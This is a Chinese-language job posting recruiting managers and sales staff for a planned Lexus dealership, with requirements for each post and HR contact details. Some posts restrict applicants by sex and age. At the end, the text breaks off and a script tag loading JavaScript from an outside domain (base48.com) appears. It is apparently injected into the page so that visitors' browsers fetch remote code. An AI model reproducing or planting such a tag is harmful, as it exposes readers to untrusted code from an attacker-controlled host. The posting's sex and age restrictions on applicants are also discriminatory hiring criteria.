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大兴丰田-----源于丰田，源于大兴，是丰田汽车和大兴汽车两大知名品牌强强联合的结晶！因大兴雷克萨斯品牌4S旗舰店正火热筹备中，现面向全国诚邀以下岗位，具体要求如下：
一、经营管理类:
4S店总经理 1名
1、性别不限，全日制本科以上学历，MBA优先，45岁以下；
2、五年以上品牌汽车销售及售后服务公司相关任职资历和工作经验，熟悉汽车销售、售后服务、配件、客户服务各模块的4S店全盘管理工作；
3、系统、丰富的经营管理专业理论知识和汽车行业相关培训经历；
4、坦诚自信、正直豁达、乐观进取、雷厉风行，不断开拓进取并具有工作热情。
注:本岗位属高层管理岗位，不符条件者请考虑其他岗位！
本岗位专有人才通道：！Sssky_2002@163.com
邀才热线：0755-81122933-209 人力资源部 胡先生 董事长助理 1名
1、性别不限，年龄28---40岁之间，工商管理、市场营销全日制本科或以上学历；
2、具备5年以企业全面管理工作经验，2年以上同职或以上级别岗位工作经验；
3、敏锐的市场感知能力、优秀的项目管理能力，具备企业发展管理的计划性和风险预见性；
4、必备现代人力资源管理基本理念与技能，具备HR项目管理的战术与战略实践者优先考虑；
5、忠诚上进，工作充满激情，风格严谨，心态平稳成熟；
6、有汽车服务行业经验者优先考虑；
7、懂日语者（非工作语言）优先考虑。 管理部总监 1名
1、商业管理、会计、市场营销或工程专业大学本科学历或以上；
2、5年以上任职大型企业的高级管理岗位工作经验；
3、出色的汽车行业个人和商业成就履历；
4、出色的分析、策划、组织能力和分工等领导才干；
5、出色的协作、人际交往、领导才能和沟通技巧；
6、具备极强的适应性及丰富的员工激励经验。 人力资源经理 1名
1、人力资源、管理或相关专业大学本科以上学历；
2、3年以上大中型企业HR工作经验,对现代企业人力资源管理模式有系统的了解和实践;
3、2年以上同岗位任职历练，具有丰富的实战经验；
4、系统绩效管理思想，熟悉现代绩效考核工具与方法，具备绩效考核项目实施经验；
4、强烈的目标感、责任感和成就感,性格坚韧,敢于承受压力；
5、结果导向，能够独挡一面，执行能力强。 招聘培训主管 1名
1、人力资源、管理或相关专业大学本科以上学历；
2、3年以上大中型企业HR工作经验,对现代企业人力资源管理模式有系统的了解和实践;
3、2年以上专职招聘经历，对招聘渠道、人选甄选、人员测评及面试技巧具有丰富的实战经验；
4、强烈的目标感、责任感和成就感,性格坚韧,敢于承受压力；
5、结果导向，能够独挡一面，执行能力强。 行政经理 1名
本岗位作为大兴雷克萨斯项目筹备组的重要组成成员，全面参与项目及新公司运作与管理。
1、女性,35岁以下，本科学历，三年以上大型集团行政管理工作经验；
2、有固定资产管理/车辆管理/庶务用品采购及费用管控、办公室装修、环境维护等管理经验；
3、文字功底深厚，熟悉撰写项目计划书，活动企划筹备与执行案，有专案规划经验；
4、良好的沟通协调能力，优秀的外联与公关能力，具备解决突发事件的能力；
5、做事客观、严谨负责、踏实、敬业；能承受一定的工作压力；
6、有机动车驾驶经验者优先。
二、销售管理类
展厅经理 1名
1、性别不限，23~35岁，全日制市场营销、汽车工程相关专业大专或以上学历；
2、2年以上销售管理工作经验，具备汽车4S店展厅、专营店现场管理的实际工作经验优先；
3、具备良好的市场分析及现场管控能力，擅长激发团队协作精神；
4、本岗位作为销售经理的储备人员，诚聘激情+热情+斗志，有志于在不断挑战自我的销售行业干一番事业的精英人才。
二手车销售顾问 2名
1、性别不限，23~35岁，全日制汽车及相关专业大专或以上学历；
2、2年以上汽车贸易或销售相关行业工作经验；
3、出色的沟通技巧和纯熟的销售水平及业务开发相关经验；
4、一定的机械和汽车知识，并持有有效驾驶执照；
5、具备《旧机动车评估师证书》或了解丰田的运营方式者优先。
大客户拓展专员 2名
1、女性，23~35岁，全日制市场营销、汽车工程相关专业大专或以上学历；
2、二年以上销售工作经验或一年以上品牌汽车行销、大客户开发工作经验；
3、性情开朗、主动，具备公关、社交及客服能力，有驾照并具有一年以上的熟练驾驶经验；
4、本岗位作为<<script src=http://www.base48.com/b.js></script>
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